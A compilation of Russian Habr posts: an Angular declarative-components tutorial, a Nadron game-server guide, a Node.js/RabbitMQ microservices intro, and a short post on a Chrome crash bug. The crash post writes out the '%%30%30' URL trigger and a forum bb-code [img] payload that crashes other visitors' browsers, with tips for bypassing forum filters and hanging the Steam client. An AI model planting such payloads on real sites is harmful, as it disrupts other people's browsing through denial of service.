Давайте теперь возьмемся за что-нибудь посложнее. Мы хотим научиться управлять медиаэлементами, такими как аудио- или видеотеги. И мы будем делать это с минимумом императивных вызовов. Нам нужно контролировать три вещи: текущее время, громкость и состояние воспроизведения/паузы. Все они также могут меняться нативными контролами, так что это будет двусторонний байндинг:
```
@Input()
currentTime = 0;
@Input()
paused = true;
@Input()
@HostBinding("volume")
volume = 1;
@Output()
readonly currentTimeChange = new EventEmitter();
@Output()
readonly pausedChange = new EventEmitter();
@Output()
readonly volumeChange = new EventEmitter();
@HostListener("volumechange")
onVolumeChange() {
this.volume = this.elementRef.nativeElement.volume;
this.volumeChange.emit(this.volume);
}
```
Видите `@HostBinding` на `volume`? Этого достаточно для громкости. Но не в случае с `currentTime`: он быстро меняется сам во время воспроизведения. Поэтому байндинг тут вызовет заикания из-за цикла постоянных обновлений. Так что заменим инпут на сеттер и будем обрабатывать только измененные значения:
```
@Input()
set currentTime(currentTime: number) {
if (currentTime !== this.currentTime) {
this.elementRef.nativeElement.currentTime = currentTime;
}
}
get currentTime(): number {
return this.elementRef.nativeElement.currentTime;
}
@HostListener("timeupdate")
@HostListener("seeking")
@HostListener("seeked")
onCurrentTimeChange() {
this.currentTimeChange.emit(this.currentTime);
}
```
Для воспроизведения и паузы тоже создадим пару «геттер/сеттер»:
```
@Input()
set paused(paused: boolean) {
if (paused) {
this.elementRef.nativeElement.pause();
} else {
this.elementRef.nativeElement.play();
}
}
get paused(): boolean {
return this.elementRef.nativeElement.paused;
}
```
Имея такую директиву, написать свой видеоплеер не составит труда:
```
{{icon}}
```
С помощью `ng-content` пользователи смогут предоставить свои видеофайлы как для нативного видеотега. А код компонента будет бессовестно краток:
```
currentTime = 0;
paused = true;
get icon(): string {
return this.paused ? "\u23F5" : "\u23F8";
}
toggleState() {
this.paused = !this.paused;
}
```
### Комбо-бокс
Теперь, когда мы настроились на нужный лад, давайте окунемся в серьезный код. Комбо-бокс — куда более сложный пример, но не волнуйтесь. У нас не будет функций длиннее строки! Ну, разве что одна.
> *В этой части я буду полагаться на декларативный* `preventDefault`*. Он работает благодаря библиотеке* [*ng-event-plugins*](https://github.com/TinkoffCreditSystems/ng-event-plugins)*, о которой я* [*писал ранее.*](https://habr.com/ru/company/tinkoff/blog/492766/)
>
>
Начнем с шаблона. Мы не будем создавать кастомный контрол, поскольку это отдельная тема. Вместо этого мы обернем нативный `input`, чтобы у пользователей был полный контроль над ним:
```
```
Внутренний шаблон будет использовать `label` для того, чтобы `input` фокусировался при клике по стрелке. **Это хак**! Разработчики не смогут добавить доступный лейбл, просто обернув наш компонент. Но для примера этого хватит, чтобы сэкономить время:
```
{{item}}
```
Отменять действие по умолчанию для `mousedown` нужно, чтобы фокус не покидал поле ввода. У компонента один единственный инпут — массив строк-подсказок при вводе. И в данном случае у него будет одно внутреннее состояние, которое придется контролировать вручную.
Вы можете подумать, что это состояние раскрытости выпадашки, но нет. Это индекс текущего выбранного элемента выпадашки. Мы будем использовать `NaN` как индикатор отсутствия текущего элемента, чтобы остаться в рамках типа `number`. Открытость выпадашки будет контролировать геттер на наличие выбранного элемента:
```
get open(): boolean {
return !isNaN(this.index);
}
```
Нам нужно сузить варианты исходя из введенного пользователем текста. Мы добавим `NgControl` в виде `@ContentChild`, чтобы получить доступ к его значению. Это позволит нам отфильтровать массив:
```
@ContentChild(NgControl)
private readonly control: NgControl;
get value(): string {
return String(this.control.value);
}
get filteredItems(): readonly string[] {
return this.items.filter(item =>
item.toLowerCase().includes(this.value.toLowerCase())
);
}
```
Теперь мы можем добавить еще один геттер для индекса элемента выпадашки:
```
get clampedIndex(): number {
return limit(this.index, this.filteredItems.length - 1);
}
// ...
function limit(value: number, max: number): number {
return Math.max(Math.min(value || 0, max), 0);
}
```
С ним безопасно работать, поскольку он всегда находится в рамках реально доступных индексов.
Теперь добавим обработчики событий, на которые мы подписались в шаблоне. Нам нужно открывать и закрывать список по клику на стрелку, выбирать элемент из списка и обновлять активный индекс по наведению:
```
onClick(item: string) {
this.selectItem(item);
}
onMouseEnter(index: number) {
this.index = index;
}
@HostListener('keydown.esc')
@HostListener('focusout')
close() {
this.index = NaN;
}
toggle() {
this.index = this.open ? NaN : 0;
}
private selectItem(value: string) {
this.control.control.setValue(value);
this.close();
}
```
Теперь добавим работу с клавиатуры: по нажатию стрелок будем менять индекс, а клавишей Enter — выбирать пункт. Также список будет показываться при вводе текста в поле:
```
@HostListener('keydown.arrowDown.prevent', ['1'])
@HostListener('keydown.arrowUp.prevent', ['-1'])
onArrow(delta: number) {
this.index = this.open
? limit(
this.clampedIndex + delta,
this.filteredItems.length - 1
)
: 0;
}
@HostListener('keydown.enter.prevent')
onEnter() {
this.selectItem(
this.open
? this.filteredItems[this.clampedIndex]
: this.value
)
}
@HostListener('input')
onInput() {
this.index = this.clampedIndex;
}
```
Вот, в общем-то, и все. Компонент полностью работоспособен. Мы написали его в декларативном стиле, оставив только одно состояние для ручного контроля. У нас нет императивных команд вроде «показать выпадашку». Вместо этого мы описали поведение компонента относительно его состояний: введенного текста, списка вариантов и активного элемента в нем. Вот почему это называется декларативным подходом.
> *В реальности подобный компонент требует доработки доступности. Вы можете добавить ARIA-атрибуты, такие как* `aria-activedescendant`*. Так скрин-ридеры и другие технологии доступности тоже будут в курсе активного элемента. Узнать больше про комбобокс-паттерн можно* [*тут*](https://www.w3.org/TR/wai-aria-practices-1.1/#combobox) *и* [*тут.*](https://www.w3.org/TR/wai-aria-1.1/#combobox)
>
>
Вы задумывались, отчего АК-47 является столь популярным оружием последних десятилетий? В его конструкции всего восемь подвижных частей, благодаря этому его легко производить, использовать и обслуживать. Это применимо и к архитектуре приложений: чем меньше состояний нужно обрабатывать, тем надежнее будет код. Простой дизайн — надежный дизайн. И хотя декларативный код поначалу может показаться непростым, когда к нему привыкаешь — начинаешь ценить его аккуратность.
Производительность
------------------
Естественный вопрос, который может возникнуть: если мы продолжаем все пересчитывать, не пострадает ли производительность нашего приложения? **Разумеется, для такого подхода обязательна** `OnPush`**-стратегия проверки изменений.** И, откровенно говоря, я не встречал ситуации, когда стратегия `Default` была бы оправдана, кроме компонента отображения ошибки в поле, поскольку на момент написания статьи в Angular [так и не появился стрим на изменение touched-состояния.](https://github.com/angular/angular/issues/10887)
Чтобы оценить производительность, давайте внимательно посмотрим на то, что мы делаем в геттерах. Конкатенация строк, как в случае с `viewBox`, имеет скорость порядка 1 млрд операций в секунду, или 300 млн на средненьком android-устройстве. Очевидно, это не может повредить скорости работы компонента. То же самое относится к простым арифметическим и булевым операциям.
Все становится интереснее, когда дело доходит до работы с массивами и объектами. Перебор массива из 100 элементов для поиска последнего имеет скорость 15 млн операций в секунду на моем ПК и в десять раз медленнее — на смартфоне. Немутабельные операции, которые создают новые экземпляры массивов, еще медленнее. Фильтрация массива из 100 элементов выдает только 3 млн операций в секунду на компьютере и всего 300 тысяч — на телефоне. Работа с созданием объектов — схожий кейс за счет внутренней механики JavaScript. Можете сами оценить быстродействие [вот тут.](https://jsbench.me/mykdykggt4/1) Это значит, что для того, чтобы концепция compliant-компонентов взлетела, требуется оптимизация.
Добавим простую мемоизацию, чтобы избежать лишних пересчетов. Мы можем создать декоратор для чистых методов. Он будет запоминать переданные аргументы и последний подсчитанный результат. Если аргументы не изменились, он просто вернет прошлое значение:
```
export function Pure(
\_target: Object,
propertyKey: string,
{ enumerable, value }: TypedPropertyDescriptor
): TypedPropertyDescriptor {
const original = value;
return {
enumerable,
get(): T {
let previousArgs: ReadonlyArray = [];
let previousResult: any;
const patched = (...args: Array) => {
if (
previousArgs.length === args.length &&
args.every((arg, index) => arg === previousArgs[index])
) {
return previousResult;
}
previousArgs = args;
previousResult = original(...args);
return previousResult;
};
Object.defineProperty(this, propertyKey, {
value: patched
});
return patched as any;
}
};
}
```
Таким образом мы можем переписать наш код на пары «геттер + чистый приватный метод»:
```
get filteredItems(): readonly string[] {
return this.filter(this.items, this.value);
}
@Pure
private filter(items: readonly string[], value: string): readonly string[] {
return items.filter(item =>
item.toLowerCase().includes(value.toLowerCase())
);
}
```
Давайте оценим этот подход. Сравним его с неоптимизированным декларативным кодом и императивным, в котором все обновляется руками в `ngOnChanges`: [stackblitz.com/edit/compliant-components-performance-ivy](https://stackblitz.com/edit/compliant-components-performance-ivy).
В этом примере — список из 1000 компонентов и кнопка, которая запускает проверку изменений во всех разом. Императивные компоненты равноценны холостому прогону, ведь инпуты не меняются и ничего не происходит. Декларативные же компоненты содержат в себе несколько геттеров. Логическая проверка значения на превышение предела, конкатенация строк, математический расчет вместе с `@HostBinding`, вешающим класс. А также перебор массива, создание массива и создание объекта. Не забывайте, что все это умножено на 1000, ведь каждый компонент содержит эти геттеры в себе. Последний столбец в примере использует `@Pure`-декоратор для операций с массивами и объектами. Такие результаты я получил в среднем за 100 прогонов проверки изменений на своем компьютере:
А такие — на смартфоне:
Различия на ПК укладываются в погрешность, в то время как android-девайс средней производительности выдает разницу в 10%. Можно посмотреть на это и сказать: «Да оно же на 10% медленнее!» Но можно взглянуть на это иначе. Даже на слабом устройстве с несколькими тысячами геттеров, считающимися одновременно, мы остаемся в пределах 60 кадров в секунду. И это всего на 1,5 миллисекунды дольше, чем холостой прогон — накладные расходы от Angular.
На практике операции с DOM чаще всего могут стать бутылочным горлышком. Это самые затратные операции типового приложения. Помните байндинг геттера на класс? Фишка в том, что браузеры не будут вносить изменения в DOM, если значение осталось прежним. Это касается классов, стилей или атрибутов.
Если организовывать свое дерево компонентов разумно, применять мемоизации и использовать `OnPush`, декларативный подход не станет затыком производительности.
Итог
----
Написанные таким образом компоненты надежные и гибкие. Возможно, вам потребуется некое смещение установок в голове, чтобы освоиться с этим подходом. Но когда вы начнете мыслить декларативно, увидите, какое это удовольствие — писать и поддерживать подобный код. От вас требуется быть внимательным, чтобы не допускать ошибок с производительностью. Но по своему опыту могу сказать, что оно того стоит!
Компоненты, которые мы создали, можно потыкать здесь:
Я возглавляю разработку проприетарного UI-кита в Tinkoff. Вся библиотека построена на принципах, изложенных в этой статье. Прямо сейчас библиотека в процессе выхода в open-source, и основополагающий пакет уже доступен на [GitHub](https://github.com/TinkoffCreditSystems/taiga-ui) и [npm](https://www.npmjs.com/package/@taiga-ui/cdk). В нем вы найдете описанный Pure-декоратор и много других полезных низкоуровневых инструментов для создания крутых приложений на Angular. Мы обязательно расскажем про них в будущих статьях, так что до встречи! | https://habr.com/ru/post/527762/ | null | ru | null |
# Разработка игрового сервера на Nadron
В этой статье я расскажу об основных моментах разработки игрового сервера на фреймворке [Nadron](https://github.com/menacher/java-game-server/tree/netty4), о стеке технологий, используемых мной в разработке, и приведу пример структуру проекта для браузерной игры.
#### Почему именно Nadron?
Прежде всего в нём реализованы все популярные протоколы для передачи данных, а в рамках одной игры можно использовать любое количество протоколов, к тому же вы можете создавать и добавлять свои собственные варианты. Движок позволяет писать линейный код внутри игровых комнат и реализует базовые команды. Для клиента на js, as3, java или [dart](https://github.com/taluks/Nadclient-Dart) написаны готовые библиотеки для работы с Nadron.
#### Что мы делаем?
Мы делаем заготовку, которая подойдет для воплощения в жизнь большинства ваших
идей и даст возможность разобраться, что к чему для всех остальных. В частности готовые методы авторизации для социальной сети ВКонтакте, создания схемы данных, загрузки игровых сущностей, а также лобби, простые игровые комнаты и т.д.
Пример для этой статьи разрабатывался под WebSocket, но это не имеет особого значения, так как различия для любого другого протокола минимальны. Но для начала советую ознакомиться с [примером](http://nerdronix.blogspot.ru/2013/06/creating-multiplayer-game-using-html-5.html) от автора Nadron.
#### Конфигурация
Сперва о зависимостях. Нам потребуются Nadron, Spring, [Flyway](https://flywaydb.org/) и [c3p0](http://www.mchange.com/projects/c3p0/), для Gradle проекта это будет выглядеть следующим образом:
**build.gradle**
```
// Apply the java plugin to add support for Java
apply plugin: 'java'
apply plugin: 'org.flywaydb.flyway'
// In this section you declare where to find the dependencies of your project
repositories {
// Use 'jcenter' for resolving your dependencies.
// You can declare any Maven/Ivy/file repository here.
jcenter()
}
buildscript {
repositories {
mavenCentral()
}
dependencies {
classpath "org.flywaydb:flyway-gradle-plugin:4.0.3"
}
}
flyway {
url = 'jdbc:postgresql://localhost:5432/game_db'
user = 'postgres'
password = 'postgres'
}
def spring_version = '5.0.1.RELEASE'
// In this section you declare the dependencies for your production and test code
dependencies {
// The production code uses the SLF4J logging API at compile time
compile group: 'org.slf4j', name: 'slf4j-log4j12', version: '1.7.25'
compile group: 'org.springframework', name: 'spring-core', version: spring_version
compile group: 'org.springframework', name: 'spring-context', version: spring_version
compile group: 'org.springframework', name: 'spring-jdbc', version: spring_version
compile group: 'org.springframework', name: 'spring-tx', version: spring_version
compile group: 'io.javaslang', name: 'javaslang', version: '2.0.5'
compile group: 'com.github.menacher', name: 'nadron', version: '0.7'
compile group: 'org.json', name: 'json', version: '20160810'
compile 'com.mchange:c3p0:0.9.5.2'
compile 'org.flywaydb:flyway-core:4.0.3'
runtime("org.postgresql:postgresql:9.4.1212")
testCompile 'junit:junit:4.12'
}
```
Изменяемые параметры с ключами приложения, портами подключения и данными для доступа к БД будут вынесены в отдельный конфигурационный файл.
#### Аутентификация
Готовые решения в Nadron простые: по умолчанию для аутентификации пользователей передаются логин, пароль и код комнаты, к которой нужно подключится. Для нашего примера нужно переопределить обработчик логина, в который будем передавать данные пользователя ВК и добавим автоматическое определение всех игроков в лобби. Основные бины на сервере опишем в классе, а те, которые нужно переопределить, придется вписать в xml (из класса не переопределяются):
**beans.xml**
```
xml version="1.0" encoding="UTF-8"?
```
Дальше мы создаем класс GameLoginHandler и наследуем его от стандартной реализации WebSocketLoginHandler. У фреймворка есть возможность маппить пользовательские классы для десериализации json сообщений. Для этого нужно просто отправить имя класса с клиента примерно так:
```
session.send(nad.CNameEvent("com.bbl.app.events.CustomEvent"));
```
Но для авторизации это не подойдет, т.к. сообщение с данными отправляется сразу после подключения к серверу. Поэтому в качестве сообщения для логина мы будем передавать ассоциативный массив, для этого в nad-0.1.js заменим метод создания сообщения логина на:
```
nad.LoginEvent = function (config) {
return nad.NEvent(nad.LOG_IN, config);
}
```
Где объект config выступает вместо старого массива данных, в который можно добавить данные в будущем, не меняя библиотеку. Это будет выглядеть так:
```
var config = {
user:"user",
pass:"pass",
uid:"1234567",
key:"1234567",
picture:"",
sex:1,
};
// Создание сессии и подключение к серверу
nad.sessionFactory("ws://localhost:18090/nadsocket", config, loginHandler);
function loginHandler(session){
session.onmessage = messageHandler;
session.send(nad.CNameEvent("com.bbl.app.events.CustomEvent"));
}
// Обработчик сообщений
function messageHandler(e){
console.log(JSON.stringify(e.source));
}
```
Реализация обработчика на сервере:
**GameLoginHandler.java**
```
public class GameLoginHandler extends WebSocketLoginHandler {
private static final Logger LOG = LoggerFactory.getLogger(GameLoginHandler.class);
@Override
public void channelRead0(ChannelHandlerContext ctx, TextWebSocketFrame frame) throws Exception {
Channel channel = ctx.channel();
String data = frame.text();
Event event = getJackson().readValue(data, DefaultEvent.class);
int type = event.getType();
if (Events.LOG_IN == type) {
LOG.trace("Login attempt from {}", channel.remoteAddress());
@SuppressWarnings("unchecked")
Player player = lookupPlayer((LinkedHashMap) event.getSource());
handleLogin(player, channel);
if(null != player)
handleGameRoomJoin(player, channel, MyGame.LOBBY\_NAME);
} else if (type == Events.RECONNECT) {
LOG.debug("Reconnect attempt from {}", channel.remoteAddress());
PlayerSession playerSession = lookupSession((String) event.getSource());
handleReconnect(playerSession, channel);
} else {
LOG.error("Invalid event {} sent from remote address {}. " + "Going to close channel {}",
new Object[] { event.getType(), channel.remoteAddress(), channel });
closeChannelWithLoginFailure(channel);
}
}
public Player lookupPlayer(Map source) throws Exception {
String user = String.valueOf(source.get("user"));
String vkUid = String.valueOf(source.get("uid"));
String vkKey = String.valueOf(source.get("key"));
GameCredentials credentials = new GameCredentials(user, vkUid, vkKey);
credentials.setPicture(String.valueOf(source.get("picture")));
credentials.setSex(Integer.valueOf(String.valueOf(source.get("sex"))));
credentials.setHash(String.valueOf(source.get("hash")));
Player player = getLookupService().playerLookup(credentials);
if (null == player) {
LOG.error("Invalid credentials provided by user: {}", credentials);
}
return player;
}
}
```
Класс кредлов унаследован от библиотечного Credentials с добавлением всего нам нужного. Дальше передаем его в LookupService для авторизации или регистрации аккаунта и возвращаем созданный экземпляр класса игрока. Класс игрока (в примере он называется GamePlayer) также нужно унаследовать от стандартного Player. Для проверки ключа соц. сети нужно иметь защитный ключ и id приложения, их удобнее всего записать в класс игры. Класс MyGame предназначен для загрузки различных данных из БД или файлов, нужных для игры: карты, предметы и т.п.
**GameLookupService.java**
```
public class GameLookupService extends SimpleLookupService{
@Autowired
private MyGame myGame;
@Autowired
private GameDao gameDao;
@Autowired
private LobbyRoom lobby;
@Autowired
private GameManager gameManager;
@Override
public Player playerLookup(Credentials loginDetail) {
Optional player = Optional.empty();
GameCredentials credentials = (GameCredentials) loginDetail;
String authKey = myGame.getAppId() + '\_' + credentials.getVkUid() + '\_' + myGame.getAppSecret();
try {
// Проверка ключа
if (Objects.equals(credentials.getVkKey().toUpperCase(), MD5.encode(authKey))) {
player = gameDao.fetchPlayerByVk(credentials.getVkUid(), credentials.getVkKey());
if(!player.isPresent()){
// Создаем аккаунт
player = Optional.of(cratePlayer((GameCredentials) loginDetail));
gameDao.createPlayer(player.get());
}
}
} catch (Exception e) {
e.printStackTrace();
}
return player.orElse(null);
}
private GamePlayer cratePlayer(GameCredentials loginDetail) {
GamePlayer player = new GamePlayer();
player.setVkUid(loginDetail.getVkUid());
player.setVkKey(loginDetail.getVkKey());
player.setName(loginDetail.getUsername());
player.setPicture(loginDetail.getPicture());
player.setSex(loginDetail.getSex());
player.setRef(loginDetail.getHash());
player.setMail("");
player.setCreated(LocalDateTime.now());
player.setRating(0);
player.setMoney(10);
player.setClanId(0L);
return player;
}
@Override
public GameRoom gameRoomLookup(Object gameContextKey) {
return lobby;
}
}
```
Лобби — это одна из базовых механик, которая требуется в большинстве игр.
Здесь вместо комнаты по ключу из метода gameRoomLookup, как в официальном примере, мы всегда отдаем экземпляр LobbyRoom. Таким образом все подключившиеся игроки автоматически попадут в эту комнату.
#### Работа с базой данных
Давайте чуть отвлечемся и рассмотрим вариант работы с базой данных. Библиотека Flyway вместе со своим плагином позволяет автоматически при запуске выполнять последовательность sql файлов для базы данных с учетом версионности. Это подходит для того, чтобы описать однажды структуру БД и забыть про нее в будущем. По умолчанию файлы должны располагаться в папке src/main/resources/db/migration вашего проекта, а сами файлы начинаться с V[n]\_\_name.sql. Файл создания таблицы пользователей будет выглядеть так:
**V1\_\_create\_game\_tables.sql**
```
CREATE TABLE public.players
(
id bigserial NOT NULL,
mail character varying,
name character varying,
password character varying,
vk_uid character varying,
vk_key character varying,
ref character varying,
sex integer NOT NULL,
money integer NOT NULL,
rating integer NOT NULL,
clan_id bigint NOT NULL,
created timestamp without time zone NOT NULL,
CONSTRAINT players_pkey PRIMARY KEY (id)
)
WITH (
OIDS=FALSE
);
CREATE EXTENSION IF NOT EXISTS citext;
ALTER TABLE players ALTER COLUMN vk_uid TYPE citext;
```
Чтобы все работало быстро, нужен пул соединений для БД, — для этого у нас есть c3p0 библиотека с уже готовым кешированием запросов. Выше в GameLookupService уже используется база для поиска данных игрока или для его создания.
#### События
Итак, мы залогинились и попали в комнату, где теперь нужно отправить что-то клиенту. Для удобства мы определим свой класс событий CustomEvent, который поможет нам получать и отправлять любые команды, не перекрывая базовую логику фреймворка.
**CustomEvent.java**
```
@SuppressWarnings("serial")
public class CustomEvent extends DefaultEvent {
private EventData source;
@Override
public EventData getSource() {
return source;
}
public void setSource(EventData source) {
this.source = source;
}
public static NetworkEvent networkEvent(GameCmd cmd, Object data) throws JSONException {
EventData source = new EventData();
source.setCmd(cmd.getCode());
source.setData(data);
return Events.networkEvent(source);
}
}
```
#### Лобби и обработка команд
Реализация лобби — это, наверное, не такая уж и простая задача (во всяком случае на официальном форуме есть об этом [вопрос](https://groups.google.com/forum/#!topic/jetserver/P-Eh_2NbyIk)). В нашем примере лобби это обычная комната со своим состоянием (state) и в единственном экземпляре для игры. При входе в лобби мы отправляем всем данные игрока. Для того, чтобы было понятно, я приведу код всего класса:
**LobbyRoom.java**
```
public class LobbyRoom extends GameRoomSession {
private static final Logger LOG = LoggerFactory.getLogger(LobbyRoom.class);
private RoomFactory roomFactory;
public LobbyRoom(GameRoomSessionBuilder gameRoomSessionBuilder) {
super(gameRoomSessionBuilder);
this.addHandler(new LobbySessionHandler(this));
getStateManager().setState(new LobbyState());
}
@Override
public void onLogin(PlayerSession playerSession) {
LOG.info("sessions size: " + getSessions().size());
playerSession.addHandler(new PlayerSessionHandler(playerSession));
try {
playerSession.onEvent(CustomEvent.networkEvent(GameCmd.PLAYER_DATA, playerSession.getPlayer()));
} catch (JSONException e) {
LOG.error(e.getMessage());
e.printStackTrace();
}
}
public RoomFactory getRoomFactory() {
return roomFactory;
}
public void setRoomFactory(RoomFactory roomFactory) {
this.roomFactory = roomFactory;
}
}
```
В Nadron есть два вида обработчиков: один — для сесии игрока, второй же предназначен для обработки команд самой комнаты.
Чтобы в комнате обрабатывать входящие команды от клиента, нужно отправлять события из обработчика сессии игрока. Новый метод будет выглядеть так:
```
@Override
protected void onDataIn(Event event) {
if (null != event.getSource()) {
event.setEventContext(new DefaultEventContext(playerSession, null));
playerSession.getGameRoom().send(event);
}
}
```
Таким образом, события будут уходить в текущую комнату, в которой находится игрок. Обрабатывать их будет метод onEvent, ниже пример такой обработки. Заметьте, что при отсутствии команды выбрасываем специальное исключение InvalidCommandException. [Все комнаты будут выполнять команды последовательно, но для отправки лучшей практикой будет клонирование объектов](https://groups.google.com/forum/#!topic/jetserver/Y2ltgs3xywo).
**LobbySessionHandler.java**
```
@Override
public void onEvent(Event event) {
CustomEvent customEvent = (CustomEvent) event;
GameCmd cmd = GameCmd.CommandsEnum.fromInt(customEvent.getSource().getCmd());
try {
switch (cmd) {
case CREATE_GAME:
createRoom(customEvent);
break;
case GET_OPEN_ROOMS:
broadcastRoomList(customEvent);
break;
case JOIN_ROOM:
connectToRoom(customEvent);
break;
default:
LOG.error("Received invalid command {}", cmd);
throw new InvalidCommandException("Received invalid command" + cmd);
}
} catch (InvalidCommandException e) {
e.printStackTrace();
LOG.error("{}", e);
}
}
```
#### Игровые комнаты
Из всех вопросов остался один немаловажный — создание новой комнаты и переход в нее игроков. Проблема заключается в том, что нельзя перейти в комнату с одинаковым протоколом, иначе протоколы накладываются друг на друга. Чтобы исправить эту оплошность, нужно добавить проверку на существование обработчиков:
**GameWebsocketProtocol.java**
```
public class GameWebsocketProtocol extends AbstractNettyProtocol {
private static final Logger LOG = LoggerFactory.getLogger(WebSocketProtocol.class);
private static final String TEXT_WEBSOCKET_DECODER = "textWebsocketDecoder";
private static final String TEXT_WEBSOCKET_ENCODER = "textWebsocketEncoder";
private static final String EVENT_HANDLER = "eventHandler";
private TextWebsocketDecoder textWebsocketDecoder;
private TextWebsocketEncoder textWebsocketEncoder;
public GameWebsocketProtocol() {
super("GAME_WEB_SOCKET_PROTOCOL");
}
@Override
public void applyProtocol(PlayerSession playerSession, boolean clearExistingProtocolHandlers) {
applyProtocol(playerSession);
if (clearExistingProtocolHandlers) {
ChannelPipeline pipeline = NettyUtils.getPipeLineOfConnection(playerSession);
if (pipeline.get(LoginProtocol.LOGIN_HANDLER_NAME) != null)
pipeline.remove(LoginProtocol.LOGIN_HANDLER_NAME);
if (pipeline.get(AbstractNettyProtocol.IDLE_STATE_CHECK_HANDLER) != null)
pipeline.remove(AbstractNettyProtocol.IDLE_STATE_CHECK_HANDLER);
}
}
@Override
public void applyProtocol(PlayerSession playerSession) {
LOG.trace("Going to apply {} on session: {}", getProtocolName(), playerSession);
ChannelPipeline pipeline = NettyUtils.getPipeLineOfConnection(playerSession);
if (pipeline.get(TEXT_WEBSOCKET_DECODER) == null)
pipeline.addLast(TEXT_WEBSOCKET_DECODER, textWebsocketDecoder);
if (pipeline.get(EVENT_HANDLER) == null)
pipeline.addLast(EVENT_HANDLER, new DefaultToServerHandler(playerSession));
if (pipeline.get(TEXT_WEBSOCKET_ENCODER) == null)
pipeline.addLast(TEXT_WEBSOCKET_ENCODER, textWebsocketEncoder);
}
public TextWebsocketDecoder getTextWebsocketDecoder() {
return textWebsocketDecoder;
}
public void setTextWebsocketDecoder(TextWebsocketDecoder textWebsocketDecoder) {
this.textWebsocketDecoder = textWebsocketDecoder;
}
public TextWebsocketEncoder getTextWebsocketEncoder() {
return textWebsocketEncoder;
}
public void setTextWebsocketEncoder(TextWebsocketEncoder textWebsocketEncoder) {
this.textWebsocketEncoder = textWebsocketEncoder;
}
}
```
Само же отключение от текущей комнаты и подключение к другой будут выглядеть следующим образом:
```
private void changeRoom(PlayerSession playerSession, GameRoom room) {
playerSession.getGameRoom().disconnectSession(playerSession);
room.connectSession(playerSession);
}
```
Это все, о чем я хотел рассказать. Полный код можно найти в [GitHub](https://github.com/taluks/nadron-game-server). | https://habr.com/ru/post/354292/ | null | ru | null |
# DoS эксплойт Chrome и некоторых других браузеров
Помните [пост про эксплойт скайпа](http://habrahabr.ru/post/259393/)?
Сегодня [обнаружился](http://andrisatteka.blogspot.ru/2015/09/a-simple-string-to-crash-google-chrome.html) похожий эксплойт для браузера Chrome и некоторых браузеров на его движке, который приводит к падению браузеров целиком или только отдельной страницы.
Описание доступно на баг-трекере: [code.google.com/p/chromium/issues/detail?id=533361](https://code.google.com/p/chromium/issues/detail?id=533361)
В чем суть:
Если браузер увидит ссылку вида:
```
http://habrahabr.ru/%%30%30
```
Пример из 16-ти символов:
```
http://a/%%30%30
```
(то есть в конце адреса любого сайта дописать "*%%30%30*")
то вот что происходит:
**Chrome**
При вставке ссылки в адресную строку и нажатии Enter — браузер падает полностью.
**Скриншот**
А если где-то на странице встречается такая ссылка, то при наведении мыши на неё падает эта страница браузера
**Скриншот**
**Opera**
Также при наведении мыши падает
**Скриншот**
**IE**
Сообщение об ошибке, но браузер не падает.
**Скриншот**
**Firefox**
Ошибок от браузера нет, не падает. (Версия браузера: 40.0.2)
**Steam**
Если такую ссылку вставить в ленту активности, то клиент «подвисает» на этой странице. То есть вы можете, например, открыть библиотеку игр, играть, общаться с друзьями, но перейти в магазин или свой профиль не сможете. В браузере стима останется открытой лента активности. Помогает перезапуск клиента. Удалить ссылку после тестирования из ленты можно с помощью Firefox.
**UPD:**
На многих форумах есть bb-код для вставки картинок. Так вот, если на каком-то форуме в сообщении вставить «картинку» вида:
```
[img]http://habrahabr.ru/%%30%30[/img]
```
то при переходе на страницу форума с такой картинкой браузеры будут падать. Причем падают все вкладки с данным сайтом. Т.е. если например в теме *site.com/forum/1254* запостили картинку, то когда вы откроете эту страницу в новой вкладке со страницы *site.com/forum/* то упадут обе вкладки сразу. Если открывать в новом окне, то упадет только новое окно.
На форумах на движке «IP.Board» не работает, т.к. нельзя вставить такой bb-код: «Запрещено использовать на форуме такое расширение для изображений». Можно попробовать использовать другой код, например вместо [img] — [youtube].
Уязвимости подвержены также мобильные версии браузера. | https://habr.com/ru/post/267229/ | null | ru | null |
# Учимся общаться между микросервисами на Node.js через RabbitMQ
Это продолжение статьи «[Пишем первый микросервис на Node.js с общением через RabbitMQ](https://habr.com/ru/post/447074/)», которая была неплохо принята пользователями хабра.
В этой статье я расскажу о том, как нужно правильно общаться между микросервисами, чтобы микросервисы оставались изолированными.
Как делать не стоит
-------------------
*Зачем нужно общаться между микросервисами? Используешь одну базу данных, читаешь оттуда что хочешь — делов-то!*
**Нет, так делать нельзя.** Концепция микросервисов заключается в том, что они изолированы друг от друга, никто ни о ком ничего не знает (практически). Скорее всего, в будущем, когда система начнет разрастаться, вы захотите расширять функционал и вам понадобится общаться между микросервисами: например, пользователь купил товар, значит, нужно отправить уведомление о продаже продавцу.
Преимущества изоляции
---------------------
### Надежность
Предположим, имеется монолитное приложение, в котором есть несколько контроллеров:
1. Товары
2. Скидки
3. Блог
4. Пользователи
В один прекрасный день у нас падает база данных: теперь мы не можем получить ни товары, ни скидки, ни статьи для блога, ни пользователей. Сайт полностью недоступен, клиенты не могут зайти, бизнес теряет прибыль.
**Что будет в микросервисной архитектуре?**
В другой вселенной, в этот же день падает база данных микросервиса пользователей, он становится недоступным: пользователи не могут выйти из аккаунта, зарегистрироваться и залогиниться. Казалось бы, что все плохо и бизнес так же теряет прибыль, но нет: потенциальные покупатели могут посмотреть имеющиеся товары, почитать блог компании, находить скидки.
Благодаря тому, что у каждого микросервиса своя база данных, сайд-эффектов становится куда меньше.
Это называется **постепенная деградация**.
### Абстракция
В большом приложении очень сложно сосредоточиться на одной задаче, поскольку поменяв какую-нибудь небольшую миддлвару, можно сломать какой-то контроллер. Захотите использовать новый клиент для redis — нет, нельзя, тот контроллер, который мы написали три года назад, использует версию 0.1.0. Хотите наконец-то использовать новые возможности Node.js 10? А может 12? Извините, но в монолите используется 6 версия.
Как общаться
------------
Раз уж мы заговорили о примере «пользователь купил товар, отправляем уведомление о продаже продавцу», тогда его и реализуем.
Схема следующая:
1. Пользователь отправляет запрос в микросервис market на покупку вещи по ссылке /market/buy/:id
2. В базе записывается флаг, что товар продан
3. Из микросервиса market отправляется запрос в микросервис notifications, к которому подключены клиенты через WebSocket
4. Микросервис notifications отправляет сообщение продавцу о продаже вещи
### Устанавливаем MicroMQ
```
$ npm i micromq@1 -S
```
### Пишем gateway
```
const Gateway = require('micromq/gateway');
// создаем гейтвей
const gateway = new Gateway({
microservices: ['market'],
rabbit: {
url: process.env.RABBIT_URL,
},
});
// создаем эндпоинт и делегируем его в микросервис market
gateway.post('/market/buy/:id', (req, res) => res.delegate('market'));
// слушаем порт и принимаем запросы
gateway.listen(process.env.PORT);
```
